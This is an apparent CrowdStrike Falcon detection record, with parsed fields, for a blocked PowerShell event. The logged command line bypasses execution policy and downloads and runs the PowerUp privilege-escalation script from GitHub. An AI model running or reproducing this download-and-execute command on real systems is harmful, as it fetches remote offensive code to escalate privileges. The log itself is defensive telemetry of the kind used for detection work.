WitFoo-Artifact ::: message={"device_id":"dfbb62cf44104a3d85ad81cfd5bebb3c","timestamp":"2023-08-29T16:44:43Z","template_instance_id":"4712","behavior_id":"10166","filename":"powershell.exe","filepath":"\\Device\\HarddiskVolume1\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","alleged_filetype":"exe","cmdline":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ","scenario":"attacker_methodology","objective":"Follow Through","tactic":"Execution","tactic_id":"TA0002","technique":"PowerShell","technique_id":"T1059.001","display_name":"PShellDownloadRun","description":"A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line.","severity":70,"confidence":80,"ioc_type":"command_line","ioc_value":"powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks","ioc_source":"interactive_script","ioc_description":"","user_name":"janedoe","user_id":"S-1-5-21-1959957726-1537299114-1298153393-94611","control_graph_id":"ctg:dfbb62cf44104a3d85ad81cfd5bebb3c:674310045728","triggering_process_graph_id":"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674754830254","sha256":"N/A","md5":"N/A","parent_details":{"parent_sha256":"e1ea06c6884a2ceb9dd0efeb788011ab2b17041f1c7438a9555415501e9e374c","parent_md5":"c6cd12bf63e9b9b4478e6f975e7c293d","parent_cmdline":"C:\\Windows\\Explorer.EXE","parent_process_graph_id":"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674712003826"},"pattern_disposition":1024,"pattern_disposition_details":{"indicator":false,"detect":false,"inddet_mask":false,"sensor_only":false,"rooting":false,"kill_process":false,"kill_subprocess":false,"quarantine_macmeine":false,"quarantine_file":false,"policy_disabled":false,"kill_parent":false,"operation_blocked":true,"process_blocked":false,"registry_operation_blocked":false,"critical_process_disabled":false,"bootup_safeguard_enabled":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"kill_action_failed":false,"blocking_unsupported_or_disabled":false,"suspend_process":false,"suspend_parent":false}} ::: clientIP=127.117.112.11 ::: fileHash=N/A ::: fileName=powershell.exe ::: filePath=\Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ::: userName=janedoe ::: clientMAC=0edeb6ae9241 ::: created_at=2023-08-29T16:44:43Z ::: streamName=Crowdstrike Detection ::: messageType=endpoint_protection_event ::: pipelineName=Crowdstrike Detection ::: severityCode=4 ::: startTimeUTC=2023-08-29T16:44:43Z ::: clientHostname=NVIINFRDEVAPP02.devnvi.acmeint.com ::: pipelineEntrypoint=dispatch
This is a syslog message from a product called Falcon by Crowdstrike. The following fields were extracted from the message:
clienthostname: NVIINFRDEVAPP02.devnvi.paygoint.com
clientmac: 0edeb6ae9241
filehash: N/A
filename: powershell.exe
filepath: \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
messagetype: endpoint_protection_event
productids: [7]
senderhost: kafka.precinct
sensitivity: normal
severitycode: 4
severitylabel: warning
sourceinfo: unknown
starttimeutc: 2023-08-29T16:44:43Z
tags: ['Crowdstrike Detection', 'endpoint_protection_event']
streamName: Crowdstrike Detection
clientIP: 127.117.112.11
userName: janedoe